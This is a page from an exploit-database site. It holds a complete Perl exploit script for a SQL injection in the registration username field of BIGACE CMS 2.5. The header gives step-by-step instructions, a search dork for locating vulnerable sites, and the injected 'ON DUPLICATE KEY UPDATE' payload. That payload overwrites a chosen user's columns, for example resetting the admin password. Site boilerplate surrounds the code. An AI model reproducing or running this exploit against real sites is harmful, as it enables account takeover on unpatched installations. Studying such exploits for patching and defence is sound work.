0day.today - Biggest Exploit Database in the World.

Select your language:

Things you should know about 0day.today:

We use one main domain: http://0day.today
Most of the materials is completely FREE
If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD

We accept currencies: [contact admin to find more]

We don't want you to use our site as a tool for hacking purposes, so any kind of action that could affect illegaly other users or websites that you don't have right to access will be banned and your account including your data will be destroyed.

Administration of this site uses the official contacts. Beware of impostors!

We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!

I am registered user of 0day.today. I don't want to see this screen in future.

What to do first?

Read the [ agreement ]
Read the [ Submit ] rules
Visit the [ faq ] page
[ Register ] profile
Get [ GOLD ]
If you want to [ sell ]
If you want to [ buy ]
If you lost [ Account ]
Any questions [ admin@0day.today ]

Main links

You can contact us by

Mail:

mr.inj3ct0r@gmail.com

Facebook:

Inj3ct0rs

Twitter:

Inj3ct0r

Telegram:

We DO NOT use Telegram or any messengers / social networks!

[ authorization ] [ registration ] [ restore account ]

You can contact us by:

Mail:

mr.inj3ct0r@gmail.com

Facebook:

Inj3ct0rs

Twitter:

Inj3ct0r

Telegram:

We DO NOT use Telegram or any messengers / social networks!

BIGACE CMS 2.5 (username) Remote SQL Injection Exploit

Author

YEnH4ckEr

Risk

[

Security Risk Unsored

]

0day-ID

0day-ID-5159

Category

web applications

Date add

11-05-2009

Platform

unsorted

======================================================
BIGACE CMS 2.5 (username) Remote SQL Injection Exploit
======================================================


#!/usr/bin/perl
#***********************************************************************************************
#***********************************************************************************************
#***********************************************************************************************
#
#----------------------------------------------------------------------------------------------
#|       (Post Form --> User register (username)) User options changer (SQLi) EXPLOIT	      |
#|--------------------------------------------------------------------------------------------|
#|                          |   Bigace CMS -stable release- 2.5    |		              |
#|  CMS INFORMATION:         --------------------------------------			      |
#|										              |
#|-->WEB: http://www.bigace.de/			   		              		      |
#|-->DOWNLOAD: http://downloads.sourceforge.net/bigace/				              |
#|-->DEMO: http://www.bigace.de/demo.html						      |
#|-->CATEGORY: CMS / Blogging								      |
#|-->DESCRIPTION: BIGACE is an easy-to-use multisite, multilanguage and multiuser             |
#| 		Web CMS, written for PHP/MySQL.Uses FCKeditor for HTML editing...	      |
#|-->RELEASED: 2009-04-27								      |
#|											      |
#|  CMS VULNERABILITY:									      |
#|											      |
#|-->TESTED ON: firefox 3                                				      |
#|-->DORK: "Powered by BIGACE 2.5"							      |
#|-->CATEGORY: USER OPTIONS CHANGER/ SQL INJECTION/ PERL EXPLOIT			      |
#|-->AFFECT VERSION: LAST = 2.5 (Maybe <= ?)		            			      |
#|-->Discovered Bug date: 2009-04-27							      |
#|-->Reported Bug date: 2009-04-27							      |
#|-->Fixed bug date: 2009-05-04								      |
#|-->Info patch (2.6): http://www.bigace.de/BIGACE-2.6.html				      |
#|-->Author: YEnH4ckEr									      |
#|-->WEB/BLOG: N/A									      |
#|-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.       |
#|-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)		      |
#----------------------------------------------------------------------------------------------
#
#------------
#CONDITIONS:
#------------
#
#**gpc_magic_quotes=off
#
#-----------------
#PRE-REQUIREMENTS
#-----------------
#
#Package --> allow.self.registration --> True (Default value)
#
#-------
#NEED:
#-------
#
#**valid username
#
#**real captcha code/img
#
#**maybe PHPSESSID (with securimage captcha plugin)
#
#---------------------------------------
#PROOF OF CONCEPT (SQL INJECTION):
#---------------------------------------
#
#Register module (username option) is vuln to sql injection.
#
#Username --> Proof of concept','password','thisisthelanguage')%23
#
#Other parameters --> something
#
#
#---------------------------------------
#EXPLOIT (SQL INJECTION):
#---------------------------------------
#
#If you find a valid username, it can use --> "ON DUPLICATE KEY UPDATE column=value",
#
#this clause updates the previous row if a unique index is affected (username) and
#
#doesn't insert a new row. So (username=admin --> valid user):
#
#Username --> admin','any','any') ON DUPLICATE KEY UPDATE password=MD5(12345)%23
#
#Other parameters --> something
#
#If username=admin exists then, his password is changed to 12345!
#
#---------------------------------------
#INSTRUCTIONS:
#---------------------------------------
#
#Go to vuln web --> user register
#
#Copy the captcha image name/sid:
#
#For example --> b2evo_captcha_e24cf14f6a03283413dfb7133624a39e  --> Use the b2evo captcha!
#
#For example --> ead9c0aa4822c265b346c67390b7235d  --> Use the securimage captcha!
#
#Copy the captcha text. For example --> WEGKA
#
#Search a valid user. For example --> admin
#
#Choose a column. Possibilities: id,cid,email,username,password,language or active.
#
#Introduce a value for this column.
#
#If captcha uses securimage also you need PHPSESSID to exploit. 
#
#Launch the exploit!
#
#Note: If username isn't valid, ie, he doesn't exist then, a new invalid user is inserted.
#
#
#######################################################################
#######################################################################
##*******************************************************************##
##  SPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)!  ##
##*******************************************************************##
##-------------------------------------------------------------------##
##*******************************************************************##
##   GREETZ TO: JosS, Ulises2k and all SPANISH Hack3Rs community!    ##
##*******************************************************************##
#######################################################################
#######################################################################
#
use LWP::UserAgent;
use HTTP::Request;
 use Digest::MD5 qw(md5_hex);
#Subroutines
sub lw
{
	my $SO = $^O;
	my $linux = "";
	if (index(lc($SO),"win")!=-1){
		$linux="0";
	}else{
		$linux="1";
	}		
	if($linux){
		system("clear");
	}
	else{
		system("cls");
		system ("title BIGACE CMS 2.5 (User Options changer) Exploit");
		system ("color 02");
	}
}
sub request {
	my $userag = LWP::UserAgent->new;
	$userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
	my $request = HTTP::Request -> new(POST => $_[0]);
	if($_[2] == 1){
	#Securimage needs PHPSESSID
	$request->header(cookie => "PHPSESSID=".$_[3]);
	}
	#I need referer for captcha
	$request->referer($_[0]);
	$request->content_type('application/x-www-form-urlencoded');
	$request->content($_[1]); 
	my $outcode= $userag->request($request)->as_string;
	return $outcode;
}
sub error {
print "\t------------------------------------------------------------\n";
	print "\tWeb isn't vulnerable!\n\n";
	print "\t--->Maybe:\n\n";
	print "\t\t1.-Patched or magic_quotes_gpc=ON.\n";
	print "\t\t2.-User doesn't exist.\n";
	print "\t\t3.-Error in captcha code or image.\n";
	print "\t\t4.-Column doesn't exist.\n";
	print "\t\t5.-Bad path or host.\n";
	print "\t\t6.-Repeat captcha with option 1 (securimage).\n\n";
	print "\t\tEXPLOIT FAILED!\n";
	print "\t------------------------------------------------------------\n";
}
sub helper {
	print "\n\t[!!!] BIGACE-CMS--stable-release-2.5-->(User Options) Exploit\n";
	print "\t[!!!] USAGE MODE: [!!!]\n";
	print "\t[!!!] perl $0 [HOST] [PATH] [Type Captcha] [Captcha/ssid img] [Captcha code] [Column] [Value] [User]\n";
	print "\t[!!!] [HOST]: Web.\n";
	print "\t[!!!] [PATH]: Home Path.\n";
	print "\t[!!!] [Type Captcha]: B2Evo --> 0. Securimage --> 1. Default: 0\n";
	print "\t[!!!] [Captcha/ssid img]: Img captcha name (0) or Img ssid name (1).\n";
	print "\t[!!!] [Captcha code]: Captcha text.\n";
	print "\t[!!!] [Column]: email,active(0/1),username,password,id,cid or language\n";
	print "\t[!!!] [Value]: Set changed value\n";
	print "\t[!!!] [User]: Username to change\n";
	print "\t[!!!] [PHPSESSID]: Securimage needs PHPSESSID.\n";
	print "\t[!!!] Example-1: perl $0 'www.example.es' 'bigace' '0' 'b2evo_captcha_ed5c10cb69be1ee9340b3743c8718fe2'\n";
    print "\t[!!!]       'EWZ3L' 'password' '12345' 'admin'\n"; 
	print "\t[!!!] Example-2: perl $0 'www.example.es' 'bigace' '1' '6f15b93e170f5f5e50922361b06d228d'\n";
    print "\t[!!!]       'EWZ3' 'password' '12345' 'admin' 'u3h7on9taiihpbm51roeqqq2q2'\n"; 
	print "\t[!!!] Note: If option 0 is available you can use this captcha code to change more options!\n\n";
}
#Main
&lw;
print "\t#######################################################\n\n";
print "\t#######################################################\n\n";
print "\t##   BIGACE CMS 2.5 - (User Options changer) Exploit ##\n\n";
print "\t##       ++Conditions: magic_quotes=off              ##\n\n";
print "\t##       ++Needed: Username to change                ##\n\n";
print "\t##       ++Needed: Valid captcha img/code            ##\n\n";
print "\t##             Author: Y3nh4ck3r                     ##\n\n";
print "\t##            Proud to be Spanish!                   ##\n\n";
print "\t#######################################################\n\n";
print "\t#######################################################\n\n";
#Init variables
my $host=$ARGV[0];
my $path=$ARGV[1];
my $img=$ARGV[3];
my $code=$ARGV[4];
my $columns=$ARGV[5];
my $values=$ARGV[6];
my $username=$ARGV[7];
if(($ARGV[2]==0) || ($ARGV[2]==1)){
	$option=$ARGV[2];
	$numArgs = $#ARGV + 1;
	if($numArgs<=7) 
	{
		&helper;
		exit(1);	
	}
}else{
	$option=0;
	$numArgs = $#ARGV + 1;
	if($numArgs<=6) 
	{
		&helper;
		exit(1);	
	}
}
if($columns eq "password"){
	$values=md5_hex($values); #pass in md5
}
#Build the uri
my $finalhost="http://".$host."/".$path."/index.php?cmd=application&id=-1_tauth_kregister_len";
#Check all variables needed
#sql injection	
$injection=$username."','any','any') ON DUPLICATE KEY UPDATE ".$columns."='".$values."'%23";
#build posts with injection
if($option==0){
$post="register=do&validate=http://".$host."/".$path."/addon/b2evo/b2evo_captcha_tmp/".$img.".jpg&username=";
$PHPSESSID="nothing";
}else{
$post="register=do&validate=http://".$host."/".$path."/addon/securimage/show_captcha.php?sid=".$img."&username=";
$PHPSESSID=$ARGV[8];
}
$post.=$injection."&language=en&email=y3nh4ck3r@gmail.com&password=xxxxxxxxxxx&pwdrecheck=xxxxxxxxxxx&captcha=".$code."&sumbit=Create";
$output=&request($finalhost, $post, $option, $PHPSESSID);
#processed
if($output!~(/Title: 404 Not Found/))
{
	if ($output!~(/\<div align=\"center\" id=\"registerError\"\>/))
	{   
		print "\n\t---------------------------------------------------------------\n";
		print "\t--  EXPLOIT EXECUTED (BIGACE CMS 2.5 User Options changer)   --\n";
		print "\t---------------------------------------------------------------\n\n";
		print "\t\tUser option changed!\n\n";
		print "\t\tOption changed: ".$columns."\n";
		print "\t\tNew value: ".$values."\n\n";
		print "\t\tIf username isn't real, you add a new inconsistent active user!\n\n";
		print "\t\tNote: If option 0 is available you can use this captcha code\n";
		print "\t\tto change more options!\n\n";
		print "\n\t<<<<<<----------------------FINISH!---------------->>>>>>>>\n\n";
	}else{
	&error;
	}
}else{
	&error;
}
exit(1);
#Ok...all job done



#  0day.today [2024-11-14]  #

We DO NOT use Telegram or any messengers / social networks!

Please, beware of scammers!

BIGACE CMS 2.5 (username) Remote SQL Injection Exploit

Report Error

Report Error